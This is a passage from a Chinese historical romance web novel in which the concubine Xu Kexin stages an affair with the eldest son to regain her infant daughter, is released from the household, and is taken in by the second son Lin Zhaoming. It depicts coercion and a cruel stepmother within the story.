在他开门的瞬间,徐可心慌乱伸手,扯住他的衣摆,仰头恳求道,“求大人将青姝还给妾身罢,青姝不能离了母亲,妾身也不能没有青姝。” 她只有这一个女儿,如何放心将女儿交到旁人手中,她总说青姝离不开她,其实她也根本离不开青姝。 她的女儿那般小,还不到百日,醒来后就见不到母亲就会哭,只这一晚上过去,她根本难以想象青姝此时的处境,害怕女儿哭哑了嗓音。 徐可心仰头看着男人,紧紧攥着她的衣摆,泪水倏地从眼眶滑下。 天刚破晓,边际暗沉幽蓝,只露出冷清的鱼肚白。 男人站在她面前,甚至未看她一眼,向院外走去,衣摆划过她的面庞,看着男人绝情的背影,徐可心霎时心脏抽痛,不受控地弯下腰,跪在书房门前,捂脸痛哭。 过去她一直希望大人喜欢青姝,不断希求这人的喜欢,可如今看来,这人根本不在意青姝,也不在意她。 不然为何分明知道青姝于她而言多么重要,还拿青姝要挟她。 在书房门前跪了一夜无果,她失神落魄地向院中走去,临到听雨阁时,却见一个女人站在院门前,远远看着她,眸色意味不明。 “徐小姐,你回来了。”二姨娘看着她,轻声道。 徐可心抬手,用手背擦拭了一下眼尾的泪,未理会她的话,直接向院中走去。 她如今挂念青姝,难以招待旁人,也不想知晓此人因何前来。 徐可心不理会她,二姨娘也未恼,只在女人经过她时,平声道,“我今日前来是为了长小姐。” 话音刚落,徐可心脚步一顿,抬眼看了过来。 二姨娘看着她,复又看了眼不远处愈发精雅别致的院落,轻声道,“请我入内罢。” 里室。 徐可心遣退房内的丫鬟,端起茶壶,为端坐在一旁的女人倒了一杯茶。 二姨娘接过茶杯,指腹轻摩杯壁,姿态不似往日那般卑下,而是极为端着,腰背也挺得格外直。 “我已听闻昨日之事,下人常说,姨娘格外宝贝长小姐,如今她被送至大夫人院中,想必姨娘心中也极为不好受。” 徐可心端着茶壶,闻言未说什么。 二姨娘看了她一眼,知晓她在判断自己话语的分量,这般寒暄的话难以激起她的反应,二姨娘放下茶杯,只事不关己道,“我方才来时经过正院,依稀间听到里面传来女童的哭声,哭喊得极为厉害,好似要把嗓子哭坏一般。” 此话一出,徐可心霎时抬眸,直直看了过来。 终于得到自己想要的反应,二姨娘轻叩茶杯,温声道,“我知晓姨娘爱女心切,我此番前来,也是为了帮长小姐回到姨娘身边。” “只是不知道为了长小姐,姨娘会做到何种地步?” 二姨娘说完,复又不紧不慢端起茶杯置于唇边,饮下一口。 徐可心看着女人,知晓二姨娘此番前来,不会真得是为了帮她,但她眼下实在走投无路,只想快些得回青姝,思及此,她直接道,“姨娘但说无妨,只要能让青姝回到我身边,我愿意做任何事?” 好似一直在等她这句话,二姨娘放下茶杯,双手交叠,搭在腿上,语气没有起伏道,“既然姨娘如此决绝,只先向我下跪,让我瞧瞧姨娘到底能为了长小姐做到何种地步……” 未等她说完,一旁的女人毫不犹豫屈膝,直接跪在她面前,“还请姨娘相助。” 二姨娘话语一顿,垂眸看着跪在她面前的徐可心,忽得没了声音。 她过去只是府中庶女,在李家没有地位可言,父亲官职低下,出了府外,她更是低人一等。 旁的权贵家的小姐聚在一起,也从不在意她的身份,因为她们根本不会把她放在眼里,甚至无意和她结识。 同她相反,首辅长千金徐小姐徐可心,哪怕性情愚钝,不喜交谈,也总是有一群官家小姐围在她身侧,主动上前同她结交,讨好她,只因其父是当朝首辅徐大人。 她李家小姐卑微如泥土,而徐可心却一直处在云端。 虽然徐可心甚至不认识她,不知晓她的姓名,不曾同她讲过一句话,但在徐家覆灭倒台那日,难以言说的喜悦却从她的内心隐秘地生起,尊贵如徐家长小姐,如今不也沦落教坊司,成为一个人人轻贱的官妓,甚至不如她一个庶女。 她以为自己不再嫉妒徐可心,可等徐可心再次入府,哪怕同她一样为人妾室,她还是不受控地拿自己同她比较。 不明白这人为何无论到哪里,都得人追捧喜欢,哪怕有了官妓的身份,成了旁人的妾室,林家两位公子依旧爱慕她,甚至素来不近人情的大人都为她让步破例。 这人好似天生好命,永远都悬在天上,不会真得跌入泥土,而她李氏,却只能受人摆布,没有自己的选择,只能受制于人,听命于李家。 不会有人爱慕她,也不会有人喜欢她,她甚至不会被人讨厌,她就像一个最寻常最容易被人忽视的物件,安安静静地被人摆放在那里,等着被人使用。 她一直想要压这人一头,可真得看到这人没有半分挣扎痛苦直接跪在她面前,她又不免失了兴致。 二姨娘看着面前的女人,良久后,轻声道,“所做之事并不难,你只书信一封,邀大少爷于西北侧的院落相见,同他在那处欢好,之后我就求夫人将长小姐归还于你。” 这人跪得太过容易,面色没有半分痛苦,可她只想看这人痛不欲生,看她挣扎难堪,跌入泥潭。 既然她非大人不可,又不能没有女儿,只让她在两人之中作择,看她徐可心更在意谁。 果然,在她说完后,女人面色僵硬,怔愣地看着她。 隐秘的喜悦在内心升起,二姨娘看着她,不得不承认,她就是在幸灾乐祸,她就想看这人疼,见不得她徐可心众星捧月悬在高空,把旁人衬得如不堪的泥土一般。 凭什么旁人生来低微,而她徐可心随随便便就能讨得旁人的喜欢,哪怕跌落谷底,也能重新惹得身边人簇拥喜欢。 无论做什么,都有人帮她,就连对她冷嘲热讽的三姨娘,竟也为她做事。 她倒要看看,若徐小姐公然同长公子在府中苟合,是否还会惹得大人的喜欢怜惜…… 第98章 书信留痕,欢好留情。 她只要答应了,便彻底没了退路,只被人发现此事,今后都落得一个水性杨花的名声。 何况此事是这人有意提起的,若非有所布局谋划,又怎会让她做此事。 想必只等她刚入了院落,下一刻抓奸的下人就会闯进。 她不仅要考虑答不答应,还要考虑此事发生后所带来的一切孽果。 徐可心垂着脑袋,盯着袖口上的花纹,浅青色的丝线绕着袖口曲折蔓延,好似枯藤一般,兜兜转转,只在原地打转,从未真得脱离过世俗的摆弄。 她失了贞洁,兴许还能仗着往日的情分,求得大人的半分怜惜,书信给长公子之后,就彻底没了退路。 可青姝尚在院中,还在等她。 徐可心跪在地上,不想承下这道命令,可昨夜在书房门外跪了一夜,大人并未见她。 这人终究未将她的青姝放在心上,想必日后也不会怜惜青姝半分…… 她的确喜欢大人,喜欢到万般心绪为他所动。 可没了她这个妾室,大人还有旁的妾室,青姝离开娘亲身边,就真得无人再把她当亲生女儿照顾…… “还请姨娘信守承诺。”她低垂着头,直言道。 已经失了身,她本就不知怎么面对那人,如今这人送走她的女儿,她也不想留在这人身边了。 一直陪在男人身侧,如今看来,不过是她一人的妄想。 好似未料到她会这般容易答应,二姨娘坐在她面前沉默良久,才问,“长小姐于你而言真得这般重要……” 重要到可以失了清白,背叛男人,以致失了宠妾地位。 徐可心攥着衣摆,头也不抬道,“我只要青姝。” 谁离开她都能活着,昭明可以离开她,大人也可以离开她,但青姝不能,青姝只有她。 既将青姝生下,她就会照顾青姝,让她平安长大,不会任由青姝同过去她一般,陷进万劫不复的泥潭里。 有娘亲在,青姝只能落在青枝上。 听着她决绝的话语,二姨娘彻底没了声音。 心中的嘲弄也悄无声息退去。 若她是徐可心,她做不到为了一个庶出的女儿付出自己的一切,地位、尊容乃至宠爱…… 她想斥责这人傻,可不知为何,看着徐可心这副魂不守舍的模样,话到嘴边她又说不出口。 二姨娘无声看了她半晌,未再多言,离了听雨阁。 为了一个庶出的女儿搞得自己这般狼狈,这人到底还是太过愚钝,怪不得她时常陷入泥潭。 若非牵挂得太多,一次次被拖累,又怎会在每次脱离时,又被拖住身子,重新陷进去。 李舒忽得发觉,她好似又看不透这人了。 二姨娘走后,徐可心扶着桌案站起身,命人拿来纸笔。 拂袖落笔时,她盯着空白的纸面无声看了半晌,临落笔前,命丫鬟收拾出几件衣裳。 得回女儿后,她也无颜再面对此人了,与其留在府中,面对这人不再温情的目光,内心饱受折磨,不如就此离开。 若她不喜欢大人,兴许还会装作无事发生,同他献媚讨好,可她太喜欢这人了,喜欢就会在意这人的一切,不断深究他每句话的含义,思索他的神情。 得了这人的好后,就难以再忍受这人不爱她的事实了。 只能怯弱地选择逃离…… 那处院落位于府内的西北侧,背着阴林,挨着院墙,偏僻无人,时常有飞鸟落在院中的枯树上,雕琢羽翼。 那日三姨娘同人通奸被抓后,此处难得的热闹一日,没过多久就恢复往日破败。 徐可心坐在屋内,看着溺死在茶杯里的知了,知晓再过不久就要入秋。 她坐在房内,只等了片刻,没过多久沉稳的脚步声就从门外传来。 还未到约定的时辰,吱呀一声,身着青衣的男人推门走进,四目对视,好似未料到她正坐在房中,男人眼底划过一丝意外,又很快消退。 “怀瑾见过姨娘。” 男人反手关上门,这次未等待她的指示,抬步逐渐靠近,走至她身后,俯身环住她的肩膀,紧紧抱着她。 馥郁的香气从身后袭来,将她彻底包围,好似勾人下坠的迷药,扰乱她的思绪。 男人自进门后,只一语不发地抱着她,良久未语一言。 这人腹部有伤,按理说应卧床仔细修养,可刚得了她的书信,就前来赴约。 他不开口,徐可心也不愿同他多言,只任由他抱着,却未理会他一句。 送信的人是她,冷漠的人也是她,无理取闹的人亦是她。 林怀瑾站在她身后,只勾着她的肩膀,埋首在她颈侧,包容她的冷漠,甚至未越矩吻她。 好似只是太贪恋她的暖意,才在看到她的瞬间,忍不住上前,却又碍于她的不喜,未再得寸进尺。 刚做了畜生,只过了一日,又扮成了君子。 不知过了多久,眼见快要到同李舒约好的时辰,徐可心深呼一口气,转身看向站在她身后的男人,却见他眸色直白炽热,不复往日平静,带着不加掩饰的情欲。 “姨娘,待你成了怀瑾的正妻,怀瑾会命人筹备婚事,今后不再纳妾,只娶姨娘一人,也会将青姝视为己出。” 男人俯视着她,忽得一字一句承诺道,语气极为缓慢却格外珍重。 这人想娶她为妻,可她想嫁的人从始至终都不是这人,而她喜欢的人,却都将她舍弃。 徐可心眸色复杂地看着他,良久后站起身,扯着他的衣领,将他推倒在满是薄灰的床上,迎着他直白痴迷的目光,垂着眉眼,扶着他的肩膀,有意坐在他刚被捅了一刀的腹部上。 几乎瞬间,男人闷哼一声,皱着眉,面露痛苦的神色,但仔细深究,却能发觉他眉眼间的欢愉。 好似于男人而言,她的主动是恩赐一般。 徐可心沉默半晌,看着男人痴迷的面色,轻声问,“长公子身受重伤还未痊愈,若同妾身欢好,不怕失血过多暴毙而亡,死在床上吗?” 男人仰头看着她,额头沁着薄汗,闻言只忍着痛意,揽上她的后背,俯身埋首在她颈侧,贴着她耳侧缓声道,“若因与姨娘欢好而死,怀瑾也算死而无憾了。” 他语气平静,不带有半分轻佻之意,可莫名地,透着一股子牡丹花下死做鬼也风流的放荡劲。 徐可心眸色复杂地看着他,认为他太过无耻,可听着耳边调笑的话语,她又想不明白,这人到底因何喜欢她…… 第99章 徐可心无声看了他半晌,挪着身子,微微起身,复又坐在他伤口还未痊愈的腹部上。 林昭明手下未留情,一刀本朝着他的心口捅去,但被这人侥幸躲了过去,偏离几寸,捅在挨着心口的腹部上。 男人的眉皱得更紧了,复又闷哼一声。 好似看出她是故意的,无意同她计较,亦或乐在其中,林怀瑾埋首在她怀里,双臂不断收紧几乎快要把她的腰勒断。 “姨娘真是……” 他闷笑一声,微微抬头,隔着衣服吻上她的肩膀。 “怎样?”她追问。 林怀瑾攥着她的侧腰,隔着衣服攥紧她腰间的软肉,力气很重,疼得徐可心微微蹙眉,却见男人枕着她的肩膀,微微抬眸,仰着那张极为清雅阴柔的脸,不紧不慢道,“好生会折磨怀瑾。” 话音刚落,徐可心霎时没了声音,僵在他怀里。 原因无他,只因这畜生眸中的情欲太过赤裸,烫得她不敢乱动。 她只捉弄这人两次,知晓事不过三,未再欺负他第三次,迎着男人渴求的目光,只坐在他怀里,无声听着院外的动静。 这间院落实在破败,屋内到处都是薄灰,透着荒凉气,加之位置偏僻,地面隐隐渗着冷气,饶是在夏日,也无多少暖意。 埋首在她怀里紧紧抱着她的男人,也如同毒蛇一般,禁锢她的身子,直直盯着她,虽带着笑,但莫名令人脊背生寒。 她疑觉自己掉进了蛇窟,遇上一条青黑蝮蛇,被他纠缠,最后被他拆之入腹。 徐可心垂眸,良久后抬手,蒙在他的双眸上,挡住他看向自己的目光。 她不喜欢这人,被这人侵犯后,更是恶心这人的一切,哪怕只是简单的对视,也令她胃中翻滚。 男人抱着她,任由她蒙住双眼,未抗拒一下,只安静坐着,一副任由她摆布的模样。 屋内安静无声,只能听到男人厚重的喘息声,好似欲望未被满足,不断期待,情欲渐深,可饶是如此,也未惹得身前人的同情。 直到门外传来一阵脚步声,徐可心才倏地直起身子,脱下外衣,露出半边白皙莹润的后背,按着男人的脖颈,将他的头压在自己的颈侧,环着他的脖颈,姿态亲昵。 “吻我。”徐可心低垂着头,贴着男人耳侧轻声道。 得了恩赦,男人环住她腰侧的手臂愈发用力,“怀瑾会照顾姨娘一辈子。” 他这般承诺,随后不顾靠近的脚步声,明知身在局中被人利用,也低下头,重重吻上她的肩膀。 只是单纯的吻根本难以满足什么,也难以昭示他隐秘的占有欲,他想在这人身上留下他的痕迹,让门外之人知晓,这人如今是他的。 肩膀传来刺痛,徐可心双眸瞪大,身子骤然弓起,她垂眸看去,却见男人张口咬在她的肩头,齿间极为用力,好似要啃噬她的肉一般。 脚步声行至门前,却停了下来,未再靠近。 透着门外隐隐绰绰的日光,能清晰窥见男人颀长的身影。 眼见男人迟迟不进门,徐可心微微蹙眉,揽着林怀瑾的脖颈,盯着门外男人的身影,轻轻闷哼一声。 只一瞬间,门外传来响动,但男人转了身,好似要离开。 徐可心垂着眉,转头看向埋首在她怀里的林怀瑾,正要以为男人不会进来时,房门被没有征兆推开。 她身子一僵,下意识的畏惧霎时溢满心间,又很快被怨恨取代。 徐可心揽着林怀瑾的脖颈,复又转过头,看向门外,却见男人抬步走进,站在门前,眼底没有情绪地看他们二人。 喉咙里忽得极为干涩,徐可心咽了咽口水,良久才迎着男人的目光,轻声道,“大人,这次是妾身勾引了长公子。” 男人站在原地,身着朝服,负手而立,腰间还佩戴着她之前为他缝制的白鹤香囊。 徐可心垂着眉眼,目光落在上面,无声看了半晌,才缓缓抬眸,看向男人意味不明的眸子。 既然已经无颜面对此人,不如割断最后一点情意,让其怨恨她,往后也不必再想起她。 过往权当露水情缘、空梦一场…… 书房内。 男人坐在主位,看着跪在地上的妾室和长子,面容被阴影覆着,半阖眉眼,让人难以猜透他此时心中情绪。 听人讲述和亲眼见到是两回事,分明几日前还伏在他怀中的妾室,方才却伏在旁人的男人怀里,同样媚态横生,哪怕心中不喜,依旧能装出喜欢的模样。 好似于她而言,就算当初她被送到旁人床上,她也会依赖那人。 分明早已想过这种结果,但亲眼见到自己的情人抱着旁的男人,甚至接纳他,哪怕那人是他的儿子,他还是想要杀了同她通奸的罪人。 不想再将她嫁给旁人,只想杀了奸夫,再寻个笼子,将人彻底关起来,让她蜷缩在里面,永远身受桎梏,难以再雌伏于旁人怀中。 男人面无表情坐在主位,大夫人坐在书房一侧,好似未料到通奸之人是自己的长子,面色极为苍白,紧攥着扶手。 徐可心跪在地上,衣衫凌乱。 她低垂着头,看不到旁人的神色,也不想看,只头也不抬承下一切罪名,缓声道,“妾身□□,有意书信给长公子,邀其见面。” “妾身未入府时,是教坊司的官妓,得吏部侍郎赵大人赏识,被其择为乐姬,送至府上,有幸成为大人的妾室。” “身处教坊司三年,妾身早已失了清白,被人调教了身子,贪于男欢女爱,非良家女子,难以另嫁给长公子为妻。” “自知身子污浊,也无颜留在大人身侧为妾,只求大人念及往日情分,令妾身离府……” 她跪在地上,头抵着手背,分明跪着,但腰背挺得格外直,透着不加掩饰的决绝,不被往日所困,但求离府。 男人这次能送走她的青姝,用青姝要挟她,难免之后也会用青姝作惩。 她自小饱受折磨,可以受辱,可以受胁迫,可见不得青姝被当做戒尺,落在她身上。 她被强迫一次,青姝就会陷入桎梏一次。 若她这次妥协,往后府上众人都知晓青姝是她的软肋,责难她时,下意识想到的砝码也只会是青姝。 她大可以顺了这人的心意,继续留在府上小心谨慎度日,但她赌不起是否再会因青姝受制于人。 只一次就够了。 一次之后,就不可能再有第二次。 她缓声说完,跪在她身侧的林怀瑾垂眸看着她,并未因被她当成棋子而恼怒,待她说完,也俯下身子,一字一句郑重道,“父亲,怀瑾既与姨娘有欢好之实,今后也不会另娶他人、另纳新妾,只为姨娘守身。” 话音刚落,未等男人言语,坐在一旁的大夫人面色一白,倏然起身斥责道,“怀瑾糊涂!你未听到这女人方才所言,她本就是水性杨花之人,如何能做你的正妻?你是林家长子,又怎能娶一个曾做过官妓的女子,你太让我失望了!” 林怀瑾跪在地上,闻言只看着跪在身侧的女人,眸色极为平静道,“姨娘为人,怀瑾最为清楚,所谓清白与否,只是世俗枷锁,怀瑾无意计较,也不想为难姨娘。” “何况姨娘当初身不由己,难以自己作择,怀瑾知晓姨娘的难处,更应给姨娘应有的体面和尊容。” 此话一出,大夫人面色霎时惨白,扶着桌案险些晕倒在地,小桃站在她身侧,见状连忙挪步,扶住她的身子。 “她这般轻佻放荡,今日可背叛你父亲,引诱于你,明日就可背叛你,再同旁的男人苟合!”大夫人声音颤抖,俨然恼怒到极致,一句话几乎是喊出来的。 林怀瑾垂着眉眼,只头也不抬道,“怀瑾心意已决,母亲不必多言。” 林怀瑾是她的长子,素来顺着她的心意,为她做事,一步步循着规矩长大,何时忤逆过她,如今却为了府上的妾室出言顶撞她。 大夫人看着跪在地上的女人的侧颜,想起身处正院的孽女,恨不得将她们母女二人千刀万剐。 那孽女被送来时,尚且安睡,可方醒来未寻到母亲,就哭闹不止,整整哭了一整夜,哪怕掐她呵斥她,也难以让她安分,只偏执地寻着她的娘亲。 甚至方才离开时,那孽女仍在哭,嗓子沙哑,哭声尖锐至极,令人心生厌烦,只命人拿帕子塞进她口中,才堪堪堵住她的哭声。 若非这孽女是被大人送来的,她早就命人将其掐死,哪里会留她在院中过夜。 她们母女二人没有一个令人省心的,全都是不安分的主,就应该下地狱。 大夫人紧攥着袖子,眸色愈发狰狞,她紧抿着唇,抬眸看向主位的男人,直言道,“大人,她既已承认自己生性放荡,不如就此将其赶出府中。” 徐可心跪在地上,闻言抬眸看向坐在主位的男人,只等男人说要赶她走,她就彻底断下这份念想,从他身边离开…… 第100章 林怀瑾方才的一番话说得实在赤诚,听者鲜少不会动容。若非长子所心悦之人是他的妾室,林远舟倒真想说一句般配。 少男少女,才子佳人,自古以来就不乏两情相悦的佳话。 可惜郎有情妾无意,饶是被逼迫至此,他的情人不惜离府,也不愿嫁给他的长子。 他的情人只心悦他一人,不曾对旁的男人动心。 林远舟看着跪在地上的女人,良久后,唤了一声可心。 声音极为温柔缱绻,好似无事发生一般。 徐可心身子一僵,下意识想要抬头看他,可微微抬起脖颈,她就骤然一停,复又低下头。 她期待这人挽留她,同往日那般哄着她,可难以跨过的沟壑早就横在两人之间。 她同府上的长子有染,而男人将她的青姝送到旁人院中。 徐可心紧咬着下唇,强迫自己狠下心,勿要再贪恋男人的柔意。 男人看着她倔强的侧颜,无声看了半晌,也未斥责她的任性,只淡声道,“嫁给怀瑾为妻,仍为林家义女,亦或离府,沦落市井,只两条路,可心自己选。” 大夫人闻言,霎时张口,想要说些什么,可对上男人冷然的目光,她话语一顿,还未出口的话又骤然堵在口中,只能面色难看地盯着跪在地上的女人,眼神如刀,恨不得在她身上剜下一块肉似的。 “妾身不愿嫁给长公子为妻,别无所求,只愿离府。”她跪在地上,头也不抬,一字一句道。 过往她没有选择,只能任人摆布,可现在她有了选择,无论如何也不可能背叛自己,委身于侵犯她的男人身下。 此话一出,书房内安静无声。 过了良久,坐在主位的男人才缓缓起身,捡起桌案上的一张黄纸,不紧不慢走至她身侧,随意扔下,一字未说向门外走去。 房门被吱呀一声关上。 见她未答应,大夫人冷冷看了她一眼,复又看向林怀瑾,令林怀瑾同他离开。 林怀瑾跪在她身侧,闻言只微微俯身,在她耳边低语一句,未因她的决绝而面露异色,好似早就料到她的话,未再多言,同大夫人离开。 书房内只余下她一人,安静无声。 她挺起早就酸硬的后背,捡起地上的黄纸,却发现这是她的卖身契。 这人给了她自由,让她离开。 徐可心盯着上面的字,良久后将卖身契叠好,收进袖中。 大夫人方离了书房,就令林怀瑾罚跪祠堂,让他不得再同府中妾室往来。 林昭明得了消息,赶到听雨阁时,却见女人背对着他,弯着身子收拾衣物。 她终究还是离开了林府。 这人被赶走,按理说他应该为这人打抱不平才对,可一想到今后这人不再是他父亲的妾室,难言的快感霎时溢满心头。 林昭明盯着女人的背影,目光落在她曲线曼妙的身子上,良久后上前一步。 下人方才告诉他,徐姨娘同林怀瑾通奸于院中,被父亲撞见。 他不想知晓这人到底再想什么,为何又同侵犯她的人纠缠在一起,他只知道,这人今日就要离府,彻底和那人断了关系。 徐可心整理包袱,只放了来时的几件旧衣,未带走大人送她的琴以及旁的钱财。 她早就听到门外的脚步声,但以为来人是丫鬟,未分神理会,被人从身后紧紧抱紧时,她才倏地转身,却见身形颀长的男人枕着她的颈侧,有力的双臂箍住她的腰,整个人极为依赖地抱着她。 四目对视,男人抬着眉眼,“你有去处吗?” 他本想关心这人来着,但话一出口,就不自觉带着几分冷嘲的意味,徐可心早就习惯他苛责的言语,闻言也未计较什么,复又低下头,自顾自收拾衣物。 “李家之事还未有着落,我暂且寻一处客栈落脚。” “客栈?” 林昭明环住她的手臂用力,微微偏头,埋首在她颈侧低声道,“你性子娇弱,身子又极为金贵,肩不能扛手不能提,也无钱财傍身,若无人照顾,今后怕是难以度日。” “我会弹琴。”她说。 “难不成你还要回去给人卖艺?” 身后人的声音骤然 提高,猝不及防伸手,攥住她的手腕,“若你喜欢弹琴,缺个听你弹曲的,我每日坐在那里听你弹就是了,何必卖艺换钱?” 谈到此处,林昭明复又环住她的腰,压着声音轻声商量,“我又不是路边的穷酸乞丐养不起你,若你没有住处,只同我回去就是了。” “缺什么东西,甭管是金银珠玉,还是首饰衣物,亦或铺子田地,你只告诉我,我尽数为你寻来。” 男人抱着她,像条大狗一样,下巴枕着她的颈侧,话语不停地同她商量。 “可那是你的钱……”徐可心面色迟疑。 “什么你的钱我的钱,徐可心,我过去怎么不知晓你这女人如此市侩,连几两碎银也分你我,你只同我回去,每日不必思虑旁的,只在这京中四处闲逛,喜欢什么便置办什么,若不爱走动,只差遣下人,令他们为你做事。” “想弹琴就弹琴,想刺绣就刺绣,闲得无聊,亦或心生郁闷,待我回去,大可以骂我几句解闷。” “反正你别想着出去卖艺。” “那帮附庸高雅的迂腐官员,如何能听懂你的曲子,就算给树上的鸟弹曲,也不得再抛头露面,以致受他们一群庸才指点。” 男人的话实在任性,只把京中一众官员贬得一文不值。 徐可心垂着眉眼,肩膀被他的下巴枕得生疼,忍不住抬手,轻轻推了他,“从哪里学来的哄人的话,这般不正经。” 林昭明攥紧她的手腕,直直看着她,“我哪里在哄你?同你讲真的,你只同我回去,甭管要星星还是要月亮,都为你寻来。” 他这副口吻太过自然,让徐可心不自觉想起这人少时的模样。 那时这人就爱哄着她,常常追在她身后讲着各种好话,当时承诺了许多,临到最后说厌恶她就厌恶她,只同旁人有了婚约。 想着这人再过不久就要同人成婚,若她答应这人的话,和他回去,同这人养在外面的妾室没什么两样,说不定还会再被他舍弃。 徐可心抬手,轻轻拍了一下揽在她腰间的手臂,眼也不抬道,“我不会同你回去,你已有婚约在身,只安分留在府中等着娶妻,不必思虑我的去处。” 林昭明一听当即就不乐意了,“我为你做了这么多事,你还计较我是有妇之夫?我明日就寻母亲,告诉母亲我不会娶姨母家的女儿。” “待与那人解了婚约,你总能同我回去了罢?” “勿要胡说,你既已同她定下婚约,自然要说到做到,你过去退婚一次,今日再退婚一次,从今往后,还有谁敢把自家女儿托付给你?” 林昭明眉眼不耐,浑不在意道,“婚约是他们定的,我母亲令我娶沈家小姐,那沈小姐是个清高的,与我并无情意,若非她沈家没落,缺个扶持的,又怎会纡尊降贵嫁给我这种纨绔子弟?” 他的后半句话实属无赖,只将一切罪责推给她母亲。 徐可心系上包裹,不想再同他说下去,只轻声道,“可你的确为了你母亲,应下旁人的婚约。” 他终归是听他母亲的话,不会真得忤逆他母亲。旁人常斥责林家二公子行事无忌太过胡来,但从未有人斥责他对家中长辈不敬。 他们是一家人,只有她一个外姓。 林昭明闻言面色不虞,见她低头不看自己,直言道,“她是我母亲,我自然尊敬她。” 徐可心扯紧包裹,垂着眉眼未再说什么。 问题就在这里,大夫人不喜她,林昭明听她的话,说不定何时为了大夫人再次将她舍弃,因此她断断不能同林昭明回去。 不然被他养得失了自食其力的能力,到最后只能沦落街头。 徐可心拿上东西,未另寻丫鬟,只独自一人向门外走,想着离府后尽快安顿,再将青姝接回身边。 她朝门外走着,背影格外决绝,男人站在她身后,面色紧绷,待她快要踏过门槛,直接大步上前,用力攥住她的手腕将她扯回怀里。 “退婚是我不对,可你也不能揪着错处不放,不给我悔过的机会?你也不看你自己,常年被人养着,如何能养好自己?何况你那么在意那个小拖油瓶,想必之后也会将她接到身边,到时你自己又忙于生计,又要照顾那孩子,你也不嫌累得慌?” “不谈旁的,只为了你女儿,你同我回去罢。若你实在厌烦我,我不去见你就是了,你我也非情人,我做你的债主总行了罢?” 林昭明话语不停,见女人迟迟不开口,像个木头疙瘩站在那里,疑觉自己快要被她的慢性子折磨疯了,想要催她开口,亦或斥责她几句,又怕把人惹急了,更不愿同他走了,只能憋着一口气,俯着身子讲着好话。 过了半晌,见她仍杵在原地不动,林昭明紧抿着唇,实在没辙了,攥着她的肩膀将人转回自己面前,同她面对面,低头看着她,缓声郑重道,“算我求你了,让我照顾你,你不和我回去,不就是顾虑我的婚事吗?” “今日我就明明白白告诉你,与沈家的婚事是我母亲的主意,我对沈家小姐无意,当初退婚也并非为了我母亲和沈家小姐。” “那是为何?”她头也不抬问。 声音很轻,不仔细听根本听不见。 林昭明低着头,攥着她的肩膀,口中那句“想要证明自己并非真得喜欢你”怎么也说不出口。 那时他就极为别扭,突然听不得旁人说,他只听徐可心的话,是追在徐可心身后的一条狗。 现在面对徐可心,他还是难以说出,当初的一切错处只缘于他没来由的叛逆任性,想要向旁人证明,没了她徐可心,他林二公子依旧有母亲照顾,不必再忍受这人愚笨的喜欢。 等浑浑噩噩过了三年,直到如今,他才彻底发觉,他林昭明才是两人之间可有可无的那个人。 没了徐可心,他只能浑噩度日,宛若行尸走肉一般,不知因何活着,也难以再从迟来的母亲那里寻得他想要的喜欢。 可没了他林昭明,徐可心只会活得更好,她对谁都付诸真心,却只是因为喜欢他们,情不自禁付出一切,随时可能脱身。 她这般好,哪怕她不想要依赖旁人,也总是有人忍不住怜惜她,主动上前,想要照顾她,享受她的依赖和喜欢。 无论是他还是他父亲,只要伤了她的心,令她感到受挫,这人总会在权衡过后,毫不犹豫将他们舍弃。 她总说旁人权衡,可真正冷漠的人分明是她。 他倒真希望这人是个只知贪图名利的负心女,这样起码能用金钱困住她,偏偏这人是个死犟的,什么都不要,只贪恋那虚无缥缈不值一钱的情意。 也偏偏他和他父亲,谁都拿不出一颗真心给她……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 他不开口,徐可心抱着怀里的包裹,转身就要走。 林昭明气急,忙不迭上前一步,“祖宗,你是我祖宗,我他娘求你了,跟我回去吧,只要你和我回去,我给你做狗都成。” “我也不限制你的自由,你想去哪里就去哪里,你说你一个弱女子,我能放心看你一个人在外面讨生活吗?” “你想知道的,我现在不知道怎么同你讲,你再给我几天,等我哪天想明白了我就告诉你。” 林昭明扯着她的手臂,整个人挡在门前,就差给她跪下,再磕个响头,拿块牌位给她供起来。 女人垂着脑袋,良久未开口,林昭明实在不知如何是好,正想着把人打晕扛回去时,女人垂着头,轻轻嗯了一声。 声音好似从喉咙里冒出来的一样,细若蚊足,蚊子叫似的。 林昭明如蒙大赦,当即抢过她手中的包裹,紧紧攥着她的手腕,忙不迭向府外走去,生怕晚答应一会儿,这人就跑了。 林昭明站在府外,紧攥身旁女人的手,待马车过来,托着她的屁股就将人塞进马车,看了一眼手中的破包裹,随手扔在地上。 “我的衣裳……” 马车里面传出稍稍委屈的控诉。 女人探出半个头,刚要下马车,就被林昭明揽着腰抱了回去。 “驾马!”他头也不回。 车夫得了命令,攥紧缰绳。 “一堆破布你留着做什么?天天穿还穿出情意了?” 马车内,林昭明看着趴在车窗边依依不舍的女人,不耐斥责,他早就看那堆破布不顺眼了。 “那是我娘为我缝制的衣裳。”女人声音稍稍哽咽。 过了半晌,林昭明黑沉着脸,跳下马车,迎着府外侍卫不解的目光,纡尊降贵弯 腰,咬牙捡起地上的包裹,又大步跑了回去。 “别哭了,给你找回来了。” 林昭明背靠马车,双臂环胸,看着一旁紧紧抱着包裹闷闷不乐的女人,气得咬牙。 真他娘的是他祖宗。 在外面,别人天天唤他爷,其实他们喊错了,真正的爷另有其人,他说白了就是一孙子。 上赶着给人当狗的孙子。 马车从林府大门离开,钱管家远远望着女人上了马车,确认女人被二公子带走了,才放心回了书房。 “大人,徐姨娘同二公子走了。” 钱管家弯着腰,小心禀告道。 男人撑着头,斜倚着身子,随意地看着手中的公文,闻言漫不经心嗯了一声,未再说旁的,好似完全不在意那人的去留一般。 钱管家站在原地等了半晌,未听到旁的命令,复又禀告道,“大人,那位不日就要入京了,兴许到了月底就会回府……” 朝廷命他年底回京述职,这人甚至等不到秋天就跑了回来,若是旁人,早就挨千刀了,谁让他是当朝首辅的亲堂弟,一众官员虽未得大人的命令,但都给他通融,不仅不拦着他,反而派人护送他回来。 他林家人做了错事,自有林大人惩戒,他们一群下面做事的可不敢指手画脚,实在看不惯这人,也只能书信一封,将他告到林大人那里,却再也不敢做旁的。 男人良久无言,钱管家复又等了片刻,以为他在思虑那位的事,方要悄声离开,却听男人眼也不抬问,“她为了本官,甚至不愿改嫁。” “……” 钱管家沉默半晌,拿捏不准这人话里的意思,良久才小心道,“大人为官刚正不阿,徐姨娘情深义重,爱慕大人,自然不愿改嫁。” 男人随手放下文书,起身走至书架的铜镜前,俯身抚着自己的侧颜,“她过往喜欢盯着本官的脸看,若本官容颜不复,怕是会失了她的喜欢。” 